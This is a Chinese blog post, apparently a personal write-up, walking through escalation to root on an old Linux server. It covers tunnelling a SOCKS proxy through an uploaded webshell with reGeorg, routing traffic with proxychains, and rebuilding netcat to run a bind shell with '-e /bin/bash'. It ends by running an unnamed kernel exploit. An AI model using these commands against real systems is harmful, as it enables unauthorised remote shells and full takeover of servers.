欢迎光临
我们一直在努力

记一次linux提权

写在前面

本人比较菜,以前多多少少也遇到过一些Linux的系统。要不权限很高,要么内核版本很高,根本不给我学习的机会。因此写下这篇文章,只当记录自己的学习过程。如有不妥之处请指出!

1. 目标环境

Linux服务器受到防火墙限制,外网只能通过80端口访问内部
内网疑似只能返回HTTP的流量,无法采用反向代理的形式。这样看来,有点像DMZ主机+防火墙限制
Linux内核版本为2.6.18-194
服务器有webshell一枚,权限较低,但是可以对web目录进行操作

2. 内网穿透

2.1 为什么需要内网穿透

一般而言,Linux提权需要获取一个反弹回来的半交互式shell
内网穿透可以用来进一步进行内网渗透

2.2 如何进行内网穿透

  • 反向代理:将内网的流量转发到外网
  • 正向代理:以某台机器为跳板,做正向代理进行内网穿透

这里很明显,我们只能通过80端口访问目标机器。因此需要借助webshell搭建一个正向代理。

2.3 利用reGeorg建立socks代理

reGeorg是reDuh的升级版,点击此处进行下载。它利用webshell建立一个socks代理进行内网穿透。命令如下:

optional arguments:
  -h, --help           show this help message and exit
  -l , --listen-on     The default listening address
  -p , --listen-port   The default listening port
  -r , --read-buff     Local read buffer, max data to be sent per POST
  -u , --url           The url containing the tunnel script
  -v , --verbose       Verbose output[INFO|DEBUG]

我们将webshell上传至服务器之后,运行如下命令即可本地建立一个socks代理。如图所示:

python reGeorgSocksProxy.py -p 8080 -u http://ecma.io/tunnel.php

1-21 记一次linux提权

2.4 利用proxychains在linux终端下使用socks代理

  • /etc/proxychains增加一条记录:socks5 127.0.0.1 8080
  • 运行proxychains wget http://127.0.0.1,运行wget命令的时候就会使用sock5代理。如下图所示

1-21 记一次linux提权

3. 反弹shell

3.1 反弹思路

既然我们使用代理服务器了,那么就可以类似这样认为:我所在的机器和它的网络环境是一模一样的!言下之意就是可以利用netcat将/bin/bash反弹到本机的某个端口,然后我们使用sock5代理监听该端口,就可以获取一个反弹的半交互式shell。

3.2 重新编译netcat

很多发行版的linux将netcat的部分功能进行了阉割,导致我们无法正常使用。因此需要重新编译,这里可以将压缩包传到服务器上编译也可以本地编译好之后上传到服务器上。

  1. 上传netcat压缩包,点此下载
  2. 解压压缩包: tar zxvf netcat-0.7.1.tar.gz
  3. 进入根目录: cd netcat-0.7.1
  4. 进行变以前的配置:./configure
  5. 编译:make
  6. cd src

3.3 获取反弹shell

// 服务端运行

netcat -lvp 1234 -e /bin/bash

接着

// 本机运行

proxychinas netcat 127.0.0.1 1234

如下图所示:

1-21 记一次linux提权

4. 提权

提权就比较简单了,将exp上传至某个目录运行即可:

1-21 记一次linux提权

5. 参考文章

在linux下编译netcat并反弹cmdshell

linux服务器,如何反弹shell

 

未经允许不得转载:杂术馆 » 记一次linux提权
分享到: 更多 (0)